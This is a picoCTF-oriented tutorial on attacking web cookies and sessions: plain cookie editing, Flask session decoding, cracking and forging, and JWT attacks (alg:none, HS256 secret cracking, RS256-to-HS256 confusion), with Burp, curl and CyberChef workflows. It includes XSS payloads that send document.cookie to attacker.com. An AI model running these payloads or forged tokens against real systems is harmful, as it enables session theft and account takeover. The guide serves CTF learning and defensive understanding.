Introduction
Cookies and session tokens are the backbone of web authentication. Almost every picoCTF web challenge that involves a "logged in" state, an admin panel, or a "secret" page is gated behind a cookie value. Knowing how to read, modify, forge, and crack those cookies is the single most useful web exploitation skill you can develop for CTF competitions.
This guide covers the full attack surface: plain cookie manipulation, base64-encoded session data, Flask signed sessions, and JSON Web Tokens (JWTs). Each section goes from theory to working exploit, with step-by-step examples and direct links to the picoCTF writeups where each technique appears.
If you are also studying SQL injection alongside this guide, the two attack categories complement each other perfectly: SQLi gets you past the login form, cookie attacks let you escalate privileges once you are inside.
When to use: Session value is visible and predictable (plain text, base64, or JSON)
When to use: Cookie starts with a dot and contains two periods (eyJ...)
When to use: Server accepts unsigned tokens - change alg to none and strip the signature
When to use: HS256 token with a weak or guessable secret key
When to use: Server accepts both RS256 and HS256 and you have the public key
Session hijacking and cookie inspection
The first thing to do in any web CTF challenge is inspect the cookies. Many beginner-level challenges store the privilege level (or even the flag) directly in a cookie value that you can just edit.
Browser DevTools
Open DevTools (F12), go to the Application tab (Chrome) or Storage tab (Firefox), and click on Cookies in the left panel. You will see every cookie for the current domain, including HttpOnly ones. You can double-click any value to edit it directly.
# In the browser console (only works if HttpOnly is NOT set):document.cookie// Returns: 'session=guest; theme=dark'# Set a new value:document.cookie = 'session=admin'# View all cookies including HttpOnly ones:# DevTools -> Application -> Storage -> Cookies -> [domain]
Common CTF cookie patterns to look for
# Plain text role value - just change it:Cookie: role=guest# -> Change to: role=admin# Numeric user ID - try 0 or 1 for admin:Cookie: user_id=42# -> Change to: user_id=1# Boolean flag:Cookie: is_admin=false# -> Change to: is_admin=true
XSS-based cookie theft
When an application reflects user input without sanitization, you can inject a script that exfiltrates another user's cookie. This only works if the target cookie does not have HttpOnly.
# Injected into a comment field or URL parameter:<script>document.location='https://attacker.com/steal?c='+document.cookie</script># Or using fetch for a cleaner exfil:<script>fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))</script># The attacker's server logs the incoming request and reads the cookie from ?c=
Flask signed session cookies
Flask stores session data client-side in a cookie that is base64-encoded and then signed with HMAC-SHA1 using a secret key. If you do not know the secret key, you cannot forge a valid signature. But if the secret key is weak or default, you can crack it.
Recognizing a Flask session cookie
Flask session cookies have a very distinctive format: they start with a dot and contain exactly two more dots separating three base64 segments.
# Flask session cookie structure:.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123signature^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^ ^^^^^^^^^^^^^base64(JSON payload) timestamp HMAC-SHA1 sig# Decode the first segment (without the leading dot):import base64payload = 'eyJ1c2VyIjoiZ3Vlc3QifQ'# Add padding if neededpayload += '=' * (4 - len(payload) % 4)print(base64.b64decode(payload)) # b'{"user":"guest"}'
flask-unsign: decode and crack
flask-unsign is the standard CTF tool for Flask cookie attacks. It can decode the session payload, verify a known secret, and brute-force the secret key against a wordlist.
pip install flask-unsign# Step 1: decode the payload (no key needed)flask-unsign --decode --cookie '.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123'# Output: {'user': 'guest'}# Step 2: crack the secret key with a wordlistflask-unsign --unsign --cookie '.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123' \--wordlist /usr/share/wordlists/rockyou.txt# [*] Session decodes to: {'user': 'guest'}# [+] Found secret key: supersecret# Step 3: forge a new cookie with the cracked secretflask-unsign --sign --cookie "{'user': 'admin'}" --secret 'supersecret'# Output: .eyJ1c2VyIjoiYWRtaW4ifQ.ZxYzAb.newSignatureHere
Full worked example
Imagine a Flask app sets this cookie on login as a guest user:
Set-Cookie: session=.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD# Decode to see the payload:flask-unsign --decode --cookie '.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD'# {'user': 'user', 'role': 'guest'}# Crack the secret (try common CTF secrets first):flask-unsign --unsign \--cookie '.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD' \--wordlist rockyou.txt --no-literal-eval# [+] Found secret key: 'secret'# Forge an admin session:flask-unsign --sign --cookie "{'user': 'admin', 'role': 'admin'}" --secret 'secret'# .eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.Zf9z1b.FORGED_SIGNATURE# Use the forged cookie in the browser or with curl:curl -b 'session=.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.Zf9z1b.FORGED_SIGNATURE' \http://target/admin
secret, supersecret, flask-secret, dev, key, secret_key, the app name, or the challenge name. Also look at the source code if it is provided - the secret is often hardcoded.JWT structure and decoding
A JSON Web Token (JWT) is a self-contained token format used for authentication and authorization. Unlike Flask sessions, JWTs are a standardized open format (RFC 7519) used by many frameworks beyond Python. They appear constantly in modern web CTF challenges.
Three-part structure
A JWT consists of three base64url-encoded segments separated by periods:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^HEADER (base64url) PAYLOAD (base64url) SIGNATURE (base64url)
# Header (decoded):{"alg": "HS256", // signing algorithm - THIS IS THE KEY FIELD FOR ATTACKS"typ": "JWT"}# Payload (decoded):{"user": "guest","admin": false,"iat": 1712000000, // issued at timestamp"exp": 1712086400 // expiry timestamp}# Signature:HMAC-SHA256(base64url(header) + '.' + base64url(payload), secret_key)
Decoding a JWT instantly
Paste any JWT into jwt.io to decode the header and payload without needing the secret. You can also do it in Python:
import base64, jsontoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.SflK...'def decode_part(part):# base64url uses - and _ instead of + and /part += '=' * (4 - len(part) % 4) # fix paddingreturn json.loads(base64.urlsafe_b64decode(part))header, payload, sig = token.split('.')print(decode_part(header)) # {'alg': 'HS256', 'typ': 'JWT'}print(decode_part(payload)) # {'user': 'guest', 'admin': False}
alg field in the header tells the server which algorithm to use when verifying the signature. Many JWT attacks work by manipulating this field. The server should validate that the alg matches what it expects, but many vulnerable applications just trust whatever the token says.JWT attacks
Attack 1: alg:none - unsigned token forgery
The JWT specification allows an algorithm value of none, meaning the token is not signed at all. Vulnerable servers that implement this accept any token with "alg":"none" and an empty signature. This lets you forge any payload without knowing any secret key.
import base64, jsondef b64url_encode(data: dict) -> str:return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()# Step 1: craft forged header with alg:noneheader = b64url_encode({'alg': 'none', 'typ': 'JWT'})# Step 2: craft payload with elevated privilegespayload = b64url_encode({'user': 'guest', 'admin': True, 'iat': 1712000000})# Step 3: empty signature (just a trailing dot)forged_token = f'{header}.{payload}.'print(forged_token)# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6dHJ1ZX0.# Use it in a request:# curl -H 'Authorization: Bearer eyJhbGciOiJub25lIi...' http://target/admin
none when it is lowercase. Try None, NONE, and nOnE if the lowercase version is rejected.Attack 2: weak secret brute-force (HS256)
HS256 tokens are signed with a shared secret. If that secret is in a common wordlist, you can crack it with hashcat or john and then forge any payload you want.
# Using hashcat (mode 16500 = JWT HS256/HS384/HS512)hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SIGNATURE' \/usr/share/wordlists/rockyou.txt# Using john the ripper:echo 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SIGNATURE' > jwt.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt# Once you have the secret, sign a forged token:pip install PyJWTimport jwtpayload = {'user': 'admin', 'admin': True}token = jwt.encode(payload, 'cracked_secret', algorithm='HS256')print(token)
For more on hash cracking techniques and wordlist selection, see the hash cracking guide.
Attack 3: RS256 to HS256 algorithm confusion
This is a more advanced attack that exploits servers configured for RS256 (asymmetric signing with a private key) but that also accept HS256. The trick: if you can obtain the server's RSA public key, you sign an HS256 token using that public key as the HMAC secret. The server verifies it as HS256 using its own public key (which it knows) and accepts it as valid.
# 1. Obtain the server's public key# Check: /jwks.json, /.well-known/jwks.json, /api/auth/keyscurl http://target/.well-known/jwks.json# 2. Convert the JWK to PEM format (use jwt_tool or Python cryptography library)pip install jwt_toolpython3 jwt_tool.py TOKEN -X k -pk public_key.pem# Manually with Python:from cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendimport jwt, base64with open('public_key.pem', 'rb') as f:public_key_bytes = f.read()# Sign the forged token with HS256 using the public key as the secretforged = jwt.encode({'user': 'admin', 'admin': True},public_key_bytes,algorithm='HS256')print(forged)
jwt_tool: all-in-one JWT attack tool
pip install jwt_tool# Decode a tokenpython3 jwt_tool.py TOKEN# Try alg:none attack automaticallypython3 jwt_tool.py TOKEN -X a# Brute-force the HS256 secretpython3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt# RS256 -> HS256 confusion with a known public keypython3 jwt_tool.py TOKEN -X k -pk public_key.pem
Burp Suite: intercepting and modifying cookies
Burp Suite is the standard proxy tool for web CTF challenges. It sits between your browser and the server, letting you read, modify, and replay any HTTP request including its cookies.
Basic intercept workflow
# Setup (one-time):1. Open Burp Suite Community Edition2. Proxy -> Options -> confirm listener is on 127.0.0.1:80803. Configure your browser to use proxy 127.0.0.1:8080(or use Burp's built-in browser at Proxy -> Open Browser)4. Install Burp's CA certificate to avoid TLS warnings:Visit http://burpsuite and download the certificate# Intercept a request:1. Proxy -> Intercept -> 'Intercept is on'2. Navigate to the target page in your browser3. Burp captures the request before it reaches the server4. Edit the Cookie header directly in the Intercept tab5. Click 'Forward' to send the modified request
Repeater: iterate without intercepting
Right-click any request in Proxy history and send it to the Repeater tab. From there you can modify cookies and other headers, resend the request, and compare responses without needing to navigate in the browser each time.
# In Repeater, find the Cookie header:GET /admin HTTP/1.1Host: target.ctf.ioCookie: session=eyJ1c2VyIjoiZ3Vlc3QifQ==# Change the cookie value and click Send:Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==# The Response panel shows what the server returns# Look for the flag in the response body
Match-and-replace rules
If you want to automatically replace a cookie value on every request without manually intercepting each one, use Burp's match-and-replace rules.
# Proxy -> Options -> Match and Replace -> AddType: Request headerMatch: Cookie: session=.*Replace: Cookie: session=YOUR_FORGED_VALUE# Now every request automatically uses your forged cookie# Browse the site normally and the replacement happens transparently
Using curl instead of Burp
For quick tests you can use curl directly from the terminal without setting up a proxy at all.
# Send a request with a custom cookie:curl -b 'session=eyJ1c2VyIjoiYWRtaW4ifQ==' http://target.ctf.io/admin# Follow redirects and show response headers:curl -L -v -b 'session=FORGED' http://target.ctf.io/dashboard# POST with cookie and form data:curl -X POST -b 'session=FORGED' -d 'action=get_flag' http://target.ctf.io/api
Decision tree: which attack to use
When you find a cookie in a web challenge, use this decision tree to identify the right attack path:
Step 1: What does the cookie value look like?
Plain text (role=guest, admin=false)
Just change the value in DevTools or Burp. This is the simplest case.
base64 only (ends in = or ==)
Decode with atob() or Python, modify the JSON/text, re-encode, and set the new value.
Starts with a dot (.eyJ...)
Flask signed session. Use flask-unsign to decode, crack the secret, then forge.
Three parts separated by dots (eyJ...eyJ...sig)
JWT. Decode at jwt.io, check the alg field, then proceed to JWT attacks below.
Step 2 (JWT only): What algorithm does the header claim?
HS256 / HS384 / HS512
Try alg:none first. If that fails, brute-force the secret with hashcat mode 16500.
RS256 / RS512
Look for the public key at /jwks.json. Try the RS256-to-HS256 confusion attack.
none (already set)
The server may already accept unsigned tokens. Just modify the payload and send.
Step 3: Check for flag security misconfigurations
Open DevTools - Application - Cookies. For each session cookie, check:
- No HttpOnly checkmark = JavaScript can read it = XSS theft possible
- No Secure checkmark = sent over HTTP = Burp intercept possible
- No SameSite = cross-site requests carry the cookie = CSRF possible
CyberChef recipes for common cookie formats
CyberChef (gchq.github.io/CyberChef) is an excellent browser-based tool for decoding and re-encoding cookie values. Here are the exact recipe chains for the formats you will see most often in CTF challenges.
Base64-encoded JSON cookie
Recipe to decode:
From Base64 -> JSON Beautify
Recipe to re-encode after editing:
JSON Minify -> To Base64
URL-encoded cookie value
Some apps URL-encode the cookie value (spaces become %20, etc.):
URL Decode -> From Base64 -> JSON Beautify
JWT payload decode (without verification)
Paste the middle segment (between the two dots) and apply:
From Base64url -> JSON Beautify
Note: use Base64url not plain Base64 - JWT uses - and _ instead of + and /.
Hex-encoded cookie value
Some PHP apps hex-encode session data:
From Hex -> JSON Beautify (or just view as UTF-8 text)
Double-encoded cookie
Occasionally you will see base64 inside base64. Keep decoding until you hit readable content:
From Base64 -> From Base64 -> JSON Beautify
picoCTF cookie and session challenges
The following picoCTF challenges directly test the techniques covered in this guide. They are ordered roughly from easiest to hardest.
2025 Web challenges
cookie-monster-secret-recipe involves reading and modifying a base64-encoded cookie value. head-dump tests reading response headers and cookies via a non-standard endpoint. n0s4n1ty-1 tests XSS and cookie theft.
2024 Web challenges
Tests the ability to extract information from HTTP response headers, including cookie-related headers that reveal session structure.
Quick reference cheat sheet
| Scenario | Tool / technique | Command |
|---|---|---|
| Plain text cookie value | DevTools / Burp | Edit in Application tab or Repeater |
| Base64-encoded cookie | Browser console | atob(val) / btoa(modified) |
| Base64 cookie (Python) | Python stdlib | base64.b64decode() / b64encode() |
| Flask session decode | flask-unsign | flask-unsign --decode --cookie TOKEN |
| Flask secret key crack | flask-unsign | flask-unsign --unsign --wordlist rockyou.txt |
| Flask session forge | flask-unsign | flask-unsign --sign --cookie DICT --secret KEY |
| JWT decode | jwt.io / python | Paste at jwt.io or base64url decode each part |
| JWT alg:none attack | jwt_tool / manual | jwt_tool.py TOKEN -X a |
| JWT secret brute-force | hashcat | hashcat -m 16500 TOKEN wordlist.txt |
| JWT RS256 confusion | jwt_tool | jwt_tool.py TOKEN -X k -pk pubkey.pem |
| Cookie theft via XSS | Payload injection | <img src=x onerror="...document.cookie"> |
| Intercept and modify | Burp Repeater | Right-click request - Send to Repeater |
| Send custom cookie with curl | curl | curl -b 'session=VALUE' http://target/ |
Tool install summary
pip install flask-unsign # Flask cookie attackspip install PyJWT # forge HS256 tokenspip install jwt_tool # all-in-one JWT attackssudo apt install hashcat # brute-force HS256 secretssudo apt install john # alternative cracker# Burp Suite Community: portswigger.net/burp/communitydownload
Common weak Flask secrets to try first
secretsupersecretflask-secretdevkeysecret_keypasswordadmin[challenge name][app name from source code]
All picoCTF cookie and web session writeups